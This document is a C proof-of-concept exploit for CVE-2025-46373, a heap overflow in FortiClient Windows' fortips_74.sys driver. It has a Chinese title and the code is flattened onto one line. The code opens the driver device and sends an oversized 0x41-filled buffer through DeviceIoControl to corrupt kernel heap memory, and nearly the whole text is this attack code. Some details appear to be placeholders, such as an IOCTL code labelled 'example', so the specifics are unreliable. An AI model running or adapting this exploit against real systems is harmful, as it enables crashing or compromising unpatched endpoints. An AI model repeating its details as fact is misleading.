CVE-2025-46373 FortiClient Windows堆溢出漏洞

// CVE-2025-46373 PoC - FortiClient Windows Heap Overflow // This PoC demonstrates the heap overflow condition in fortips_74.sys // Target: FortiClient Windows 7.2.0-7.2.8, 7.4.0-7.4.3 #include <windows.h> #include <stdio.h> #include <winioctl.h> #define FORTIPS_DEVICE_NAME "\\\\.\\fortips74" #define HEAP_OVERFLOW_PAYLOAD_SIZE 0x1000 // Malicious IPSec packet structure to trigger overflow typedef struct { DWORD packet_length; DWORD flags; BYTE payload[HEAP_OVERFLOW_PAYLOAD_SIZE]; // Oversized payload } MALICIOUS_IPSEC_PACKET; // IOCTL code for IPSec processing (example) #define IOCTL_FORTIPS_PROCESS_PACKET 0x9A0B1234 void trigger_heap_overflow() { HANDLE hDevice; DWORD bytesReturned; MALICIOUS_IPSEC_PACKET packet; printf("[*] Opening FortiClient fortips74 device...\n"); hDevice = CreateFileA( FORTIPS_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Ensure FortiClient IPSec is running.\n"); return; } printf("[*] Preparing malicious packet (size: %d bytes)...\n", sizeof(packet)); // Fill payload with controlled data to overwrite heap structures memset(&packet, 0x41, sizeof(packet)); // Fill with 'A' for debugging packet.packet_length = sizeof(MALICIOUS_IPSEC_PACKET); packet.flags = 0x00000001; printf("[*] Sending malicious packet to trigger heap overflow...\n"); // Send oversized packet to trigger overflow in driver BOOL result = DeviceIoControl( hDevice, IOCTL_FORTIPS_PROCESS_PACKET, &packet, sizeof(packet), NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] Packet sent successfully\n"); } else { printf("[+] IOCTL returned (overflow may have been triggered)\n"); } CloseHandle(hDevice); printf("[*] PoC execution completed\n"); } int main() { printf("CVE-2025-46373 PoC - FortiClient Windows Heap Overflow\n"); printf("Target: FortiClient Windows 7.2.x / 7.4.x\n"); printf("Author: Security Research Team\n\n"); trigger_heap_overflow(); return 0; }